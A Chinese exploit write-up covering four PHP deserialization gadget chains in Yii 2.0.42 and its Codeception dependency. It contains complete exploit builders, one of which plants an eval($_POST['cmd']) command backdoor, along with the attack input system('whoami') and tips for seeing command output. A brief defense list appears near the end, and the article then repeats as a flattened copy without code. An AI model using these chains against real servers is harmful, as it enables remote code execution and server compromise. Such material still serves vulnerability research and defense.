yii 2.0.42 最新反序列化利用全集
字数 1390 2025-08-05 08:19:32

Yii 2.0.42 反序列化漏洞利用全集分析

漏洞背景

Yii 2.0.42 版本中存在反序列化漏洞,但实际漏洞根源并非 Yii 框架本身,而是其依赖的 Codeception 组件。该漏洞通过多个利用链实现远程代码执行(RCE),本文将详细分析四条不同的利用链。

漏洞挖掘方法

  1. 全局搜索 __destruct 魔术方法作为入口点
  2. 其他利用链存在 __wakeup 方法会抛出异常导致无法利用
  3. 重点关注可控的对象属性和方法调用

第一条利用链

利用路径

  1. 入口点:Codeception\Extension\RunProcess 类的 __destruct 方法
  2. 遍历 $this->processes 数组
  3. 调用 $process->stop() 方法

关键点

  • $process 可控,可以构造为 Prophecy\Prophecy\ObjectProphecy 对象
  • ObjectProphecy__call 方法可利用:
    • $this->lazyDouble 可控
    • $this->revealer 可控
  • 通过 call_user_func 实现 RCE

EXP 构造

<?php
namespace Codeception\Extension{
    use Prophecy\Prophecy\ObjectProphecy;
    class RunProcess{
        private $processes = [];
        public function __construct(){
            $a = new ObjectProphecy('1');
            $this->processes[]=new ObjectProphecy($a);
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
namespace Prophecy\Prophecy{
    use Prophecy\Doubler\LazyDouble;
    class ObjectProphecy{
        private $lazyDouble;
        private $revealer;
        public function __construct($a){
            $this->revealer=$a;
            $this->lazyDouble=new lazyDouble();
        }
    }   
}
namespace Prophecy\Doubler{
    use Prophecy\Doubler\Doubler;
    class LazyDouble {
        private $doubler;
        private $class;
        private $interfaces;
        private $arguments;
        private $double=null;
        public function __construct(){
            $this->doubler = new Doubler();
            $this->arguments=array('jiang'=>'jiang');
            $this->class=new \ReflectionClass('Exception');
            $this->interfaces[]=new \ReflectionClass('Exception');
        }
    }
}
namespace Faker{
    class DefaultGenerator {
        protected $default;
        public function __construct($default) {
            $this->default = $default;
        }
    }
}
namespace Prophecy\Doubler\Generator\Node{
    class ClassNode{}
}
namespace Prophecy\Doubler{
    use Faker\DefaultGenerator;
    use Prophecy\Doubler\Generator\ClassCreator;
    use Prophecy\Doubler\Generator\Node\ClassNode;
    class Doubler{
        private $namer;
        private $mirror;
        private $patches;
        private $creator;
        public function __construct(){
            $name='jiang';
            $node=new ClassNode();
            $this->namer=new DefaultGenerator($name);
            $this->mirror=new DefaultGenerator($node);
            $this->patches=array(new DefaultGenerator(false));
            $this->creator=new ClassCreator();
        }
    }
}
namespace Prophecy\Doubler\Generator{
    use Faker\DefaultGenerator;
    class ClassCreator{
        private $generator;
        public function __construct(){
            $this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
        }
    }
}

利用说明

  • 攻击时使用 cmd=system('whoami');phpinfo();
  • 必须包含 phpinfo(),否则前面的输出会被报错掩盖

第二条利用链

利用路径

  1. 同样以 RunProcess__destruct 为入口
  2. 转向 reveal 方法
  3. 通过 getInstancedouble 方法
  4. 最终利用 createDoubleClass 方法

关键点

  • 需要构造 ReflectionClass 类的对象和对象数组
  • 利用 __call 方法控制 $name$node 的值
  • 绕过 foreach 循环限制
  • 利用 create 方法执行代码

第三条利用链

利用路径

  1. 入口点仍然是 RunProcess__destruct
  2. 通过 __call 方法触发 __sleep
  3. 利用 ($this->value)() 执行代码

EXP 构造

<?php
namespace Codeception\Extension{
    use Faker\UniqueGenerator;
    class RunProcess{
        private $processes = [];
        public function __construct(){
            $this->processes[]=new UniqueGenerator();
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
    use Symfony\Component\String\LazyString;
    class UniqueGenerator {
        protected $generator;
        protected $maxRetries;
        public function __construct() {
            $a = new LazyString();
            $this->generator = new DefaultGenerator($a);
            $this->maxRetries = 2;
        }
    }
    class DefaultGenerator {
        protected $default;
        public function __construct($default = null) {
            $this->default = $default;
        }
    }
}
namespace Symfony\Component\String{
    class LazyString{
        private $value;
        public function __construct(){
            include("closure/autoload.php");
            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->value=$b;
        }
    }
}

关键点

  • 使用 Opis\Closure 序列化闭包
  • 通过 LazyString 触发代码执行

第四条利用链

利用路径

  1. 入口点不变
  2. 利用 stopProcess 方法中的字符串连接操作
  3. 触发 __toString 方法
  4. 通过 rewindread 方法链
  5. 最终实现代码执行

关键点

  • 利用返回值可控的 __call 方法
  • 通过字符串连接符 . 触发 __toString
  • 多层方法跳转最终实现 RCE

总结

  1. 四条利用链均以 Codeception\Extension\RunProcess__destruct 方法为入口
  2. 利用链涉及多个组件的魔术方法和回调函数
  3. 实际漏洞根源是 Codeception 依赖而非 Yii 框架本身
  4. 攻击时需要注意错误处理和输出显示问题

防御建议

  1. 升级 Codeception 到安全版本
  2. 避免反序列化不可信数据
  3. 实施严格的输入验证和过滤
  4. 使用自定义反序列化处理器

参考

  • PHP 序列化函数闭包详解
  • 魔术方法的安全影响分析
  • 反序列化漏洞防御最佳实践
Yii 2.0.42 反序列化漏洞利用全集分析 漏洞背景 Yii 2.0.42 版本中存在反序列化漏洞,但实际漏洞根源并非 Yii 框架本身,而是其依赖的 Codeception 组件。该漏洞通过多个利用链实现远程代码执行(RCE),本文将详细分析四条不同的利用链。 漏洞挖掘方法 全局搜索 __destruct 魔术方法作为入口点 其他利用链存在 __wakeup 方法会抛出异常导致无法利用 重点关注可控的对象属性和方法调用 第一条利用链 利用路径 入口点: Codeception\Extension\RunProcess 类的 __destruct 方法 遍历 $this->processes 数组 调用 $process->stop() 方法 关键点 $process 可控,可以构造为 Prophecy\Prophecy\ObjectProphecy 对象 ObjectProphecy 的 __call 方法可利用: $this->lazyDouble 可控 $this->revealer 可控 通过 call_user_func 实现 RCE EXP 构造 利用说明 攻击时使用 cmd=system('whoami');phpinfo(); 必须包含 phpinfo() ,否则前面的输出会被报错掩盖 第二条利用链 利用路径 同样以 RunProcess 的 __destruct 为入口 转向 reveal 方法 通过 getInstance 和 double 方法 最终利用 createDoubleClass 方法 关键点 需要构造 ReflectionClass 类的对象和对象数组 利用 __call 方法控制 $name 和 $node 的值 绕过 foreach 循环限制 利用 create 方法执行代码 第三条利用链 利用路径 入口点仍然是 RunProcess 的 __destruct 通过 __call 方法触发 __sleep 利用 ($this->value)() 执行代码 EXP 构造 关键点 使用 Opis\Closure 序列化闭包 通过 LazyString 触发代码执行 第四条利用链 利用路径 入口点不变 利用 stopProcess 方法中的字符串连接操作 触发 __toString 方法 通过 rewind 和 read 方法链 最终实现代码执行 关键点 利用返回值可控的 __call 方法 通过字符串连接符 . 触发 __toString 多层方法跳转最终实现 RCE 总结 四条利用链均以 Codeception\Extension\RunProcess 的 __destruct 方法为入口 利用链涉及多个组件的魔术方法和回调函数 实际漏洞根源是 Codeception 依赖而非 Yii 框架本身 攻击时需要注意错误处理和输出显示问题 防御建议 升级 Codeception 到安全版本 避免反序列化不可信数据 实施严格的输入验证和过滤 使用自定义反序列化处理器 参考 PHP 序列化函数闭包详解 魔术方法的安全影响分析 反序列化漏洞防御最佳实践